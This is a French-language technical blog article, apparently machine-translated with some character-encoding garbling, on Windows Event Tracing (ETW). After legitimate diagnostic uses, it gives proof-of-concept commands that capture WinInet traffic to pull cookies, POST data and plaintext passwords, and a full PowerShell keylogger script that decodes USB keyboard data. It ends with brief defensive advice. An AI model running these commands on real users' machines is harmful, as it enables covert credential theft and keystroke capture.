
Dans des articles précédents sur le renifleur PowerShell et la collecte de données de démarrage à partir d'un serveur distant, j'ai déjà écrit un peu sur les capacités ETW (Event Tracing for Windows). Aujourd'hui, je veux parler davantage de cette technologie.
Dans le mĂȘme temps, je vais dĂ©montrer l'utilisation de HTTPS et la crĂ©ation d'un enregistreur de frappe sur PowerShell comme exemple de la façon dont il peut ĂȘtre utilisĂ© pour de bon. Ou pas vraiment pour le bien.
Travailler avec ETW
Le suivi des événements pour Windows collecte et envoie des messages à partir des composants du systÚme Windows et des applications tierces. Il est apparu à l'époque de Windows 2000, mais s'il y avait à l'époque plusieurs dizaines de fournisseurs de systÚmes, leur score est déjà de plusieurs centaines. Les messages sont utilisés pour diagnostiquer les erreurs et résoudre les problÚmes de performances logicielles.
Certains fournisseurs de systĂšmes Ă©crivent dĂ©jĂ dans le journal des Ă©vĂ©nements Windows par dĂ©faut, et certains sont inclus sĂ©parĂ©ment. Donc, mĂȘme si vous ne connaissez pas ETW, vous l'utilisez probablement. Vous pouvez vous familiariser avec les journaux et activer certains d'entre eux si nĂ©cessaire dans l'Observateur d'Ă©vĂ©nements standard dans les journaux d'application et de service. Un article sur le magazine et sur son utilisation se trouve dans l'article " Nous faisons tourner les journaux comme nous le souhaitons - analyse des journaux dans les systĂšmes Windows ".
Vous pouvez afficher la liste des fournisseurs existants qui se contentent de nous dire ce qui leur arrive avec la commande logman query providers .

Fournisseurs ETW.
Vous pouvez utiliser la commande logman query providers -pid <process PID> pour afficher la liste des fournisseurs connectés à un processus Windows spécifique (et, par conséquent, en savoir plus) .

Liste des fournisseurs connectés à un ordinateur portable standard.
Vous pouvez activer l' abonnement aux Ă©vĂ©nements d'un fournisseur spĂ©cifique ou effectuer un suivi via PowerShell Ă l'aide de l' applet de commande New-NetEventSession . Et vous pouvez mĂȘme cliquer avec la souris sur le chemin "Gestion de l'ordinateur" - "Performances" - "Groupe de collecteurs de donnĂ©es". Ici, dans les sessions de suivi des Ă©vĂ©nements, vous pouvez voir quelles traces sont en cours d'exĂ©cution et vous pouvez crĂ©er votre propre collecteur si vous le souhaitez.

Exécution de traces.
Vous pouvez afficher le rĂ©sultat Ă l' aide d'utilitaires et d'ensembles d'utilitaires tels que Microsoft Message Analyzer , Windows Performance Toolkit ou mĂȘme l' applet de commande PowerShell Get-WinEvent .
Je vous recommande de lire les fonctionnalités d'ETW dans la documentation Microsoft, vous pouvez commencer par la section à propos du suivi des événements . Je peux également recommander du bon matériel « Nous étudions les ETW et en tirons des bénéfices ».
Ătant donnĂ© que ETW fonctionne au niveau du noyau, il se distingue par la vitesse de transfert des messages et l'absence de la nĂ©cessitĂ© d'installer des pilotes ou des injections dans les applications. En rĂšgle gĂ©nĂ©rale, les ETW sont utilisĂ©s pour diagnostiquer les problĂšmes de performances et d'application. Par exemple, l'article « AccĂ©lĂ©rer le dĂ©marrage de Windows pour le plaisir et le profit » analyse les facteurs qui influencent le ralentissement du chargement, et dans l'article CPU 24 cĆurs et je ne peux pas dĂ©placer ma souris - les raisons du ralentissement de Windows sur les opĂ©rations ordinaires. Permettez-moi de vous donner un exemple: l'analyse de l'exĂ©cution des applets de commande PowerShell.
Regarder PowerShell
Supposons que d'une maniÚre ou d'une autre (par exemple, par le biais d'un audit des démarrages de processus), vous constatez que des processus flous et des scripts PowerShell s'exécutent sur votre ordinateur. Une technique consistera à utiliser des ETW pour analyser leur activité. Par exemple, regardez le fournisseur PowerShell. Activez le traçage avec la commande:
logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets
Attendons maintenant que les scripts incomprĂ©hensibles fonctionnent, arrĂȘtons la trace avec la commande:
logman stop pstrace -ets
Vous pouvez maintenant voir la trace, par exemple, via Microsoft Message Analyzer.

Clean.ps1 suspecte recherche et supprime évidemment quelque chose.
Si vous sélectionnez la ligne souhaitée, le panneau inférieur contient des informations détaillées sur l'événement.

Ah, c'est le mĂȘme script pour vider le cache 1C!
Cette fois, tout s'est avéré banal. Mais dans des cas plus complexes, vous pouvez exécuter une trace pour vérifier d'autres activités:
- activité de réseau;
- Résolution DNS
- accĂšs au disque;
- travailler avec la mémoire;
- Activité WMI
- et bien plus.
De cette façon, ETW peut aider à détecter les logiciels malveillants et à comprendre le fonctionnement des applications. Dans certains endroits, cela est plus informatif que le Process Monitor habituel. Mais en plus de bonnes actions, le mécanisme a un cÎté «sombre».
Bien sûr, vous pouvez tuer avec un marteau et économiser avec un pistolet. Bien sûr, je ne ferai pas une évaluation morale des mécanismes, mais en tout cas, des opportunités intéressantes s'ouvrent.
Je vais donner quelques exemples comme preuve de concept
S signifie sûr
Dans cet exemple, je montrerai Ă quel point il est facile de dĂ©couvrir ce qu'un utilisateur recherche sur Internet, mĂȘme via HTTPS. Vous pouvez le voir sans PowerShell - seulement une souris, uniquement du hardcore. Dans notre tĂąche, il y aura un utilisateur, il y aura Windows, Internet Explorer et un journal des Ă©vĂ©nements.
Commençons par activer le journal des événements Wininet. Cela se fait comme suit: ouvrez le journal des événements, sur l'onglet «Affichage», activez l'affichage des journaux analytiques et de débogage.

Ajoutez l'affichage des journaux souhaités.
AprÚs cela, activez UsageLog dans le menu contextuel, et cela suffit pour obtenir les informations nécessaires. Utilisons IE et voyons le journal:

Magazine WinInet.
En fait, dans les en-tĂȘtes du magazine et une demande directe au moteur de recherche sont visibles.
En plus des en-tĂȘtes, vous pouvez Ă©galement utiliser le journal de bord pour retirer les cookies, et en mĂȘme temps voir les demandes POST - par exemple, pour retirer les informations d'identification. La technique fonctionne sur toutes les applications qui utilisent wininet.dll pour fonctionner avec Internet. Par exemple, le navigateur Edge.
La mĂȘme chose est facilement implĂ©mentĂ©e sur PowerShell, et mĂȘme sur cmd. Je vais donner un exemple de mise en Ćuvre en dernier.
Créez d'abord une trace:
logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets
Maintenant, travaillons dans le navigateur, vĂ©rifions le courrier. Le traçage peut alors ĂȘtre arrĂȘtĂ© avec la commande:
logman stop CookieStealer -ets
L'analyse la plus simple peut ĂȘtre effectuĂ©e Ă l'aide de l' utilitaire de commande wevtutil.exe . Par exemple, pour afficher les requĂȘtes POST, la commande serait:
wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"
Vous pouvez mĂȘme essayer au hasard de rechercher le mot de passe et d'obtenir le rĂ©sultat.

Mots de passe en texte brut. TrĂšs ennuyeux.
Il convient de noter que l'antivirus Ă©tait silencieux en mĂȘme temps. En effet, il s'agit d'un processus de traçage normal.
Bien sĂ»r, les Ă©vĂ©nements WinInet peuvent Ă©galement ĂȘtre utilisĂ©s pour diagnostiquer des problĂšmes tels que «pourquoi ce site ne s'ouvre pas et ce qui se passe du tout». NĂ©anmoins, les possibilitĂ©s sont assez intĂ©ressantes. Je passe Ă un exemple encore plus tordu.
Enregistreur de frappe sur PowerShell. Parce que je peux.
Il existe deux fournisseurs ETW intéressants sur Windows:
Avec leur aide, vous pouvez obtenir les donnĂ©es HID qu'un pĂ©riphĂ©rique USB tel qu'un clavier ou une souris transfĂšre. Les donnĂ©es sont capturĂ©es brutes, mais grĂące Ă la spĂ©cification HID , elles peuvent ĂȘtre facilement lues.
Pour démarrer le traçage, exécutez simplement les commandes suivantes:
logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets
Et les donnĂ©es peuvent ĂȘtre obtenues avec l'applet de commande PowerShell:
$Input=get-winevent âpath "c:\temp\usbtrace.etl" âoldest | where {$_.message âmatch "Data"}
Je vais donner un exemple d'un script simple qui lit les données de trace et les convertit en valeurs lisibles. La conversion se fait uniquement pour les lettres anglaises et exclusivement en majuscules.
Liste complĂšte du script sous le spoiler. $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent âpath $Source âoldest | where {$_.message âmatch "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination"
Lorsqu'il est lancé, le script active la trace pendant 10 secondes, puis affiche le résultat.

Le résultat du script.
Bien sûr, aprÚs avoir compris les données HID, vous pouvez affiner le script pour un enregistreur de frappe complet qui enregistrerait les données du clavier et de la souris. Il convient de noter les limites de ce mécanisme:
- ne fonctionne qu'avec USB, et PS \ 2 (comme on le trouve parfois sur les ordinateurs portables) n'est pas pris en charge;
- La prise en charge USB 3.0 n'est annoncée que sous Windows 8 et supérieur;
- Droits d'administrateur (UAC) requis.
Mais pas de pilotes et d'intercepteurs. Eh bien, bien sûr, en plus d'une utilisation malveillante, un tel enregistreur de frappe peut aider à diagnostiquer des problÚmes avec le clavier. Théoriquement.
Dois-je avoir peur
MĂȘme les mĂ©canismes intĂ©grĂ©s entre les mains du mĂ©chant peuvent causer des problĂšmes. Les mĂ©thodes de protection restent les mĂȘmes: bloquer les fichiers exĂ©cutables ne provenant pas des rĂ©pertoires systĂšme, ne fonctionnent pas en tant qu'utilisateur avec des privilĂšges d'administrateur, et s'ils fonctionnent, au moins ne dĂ©sactivez pas l'UAC. Et, bien sĂ»r, les navigateurs Windows intĂ©grĂ©s en termes de sĂ©curitĂ© soulĂšvent des questions.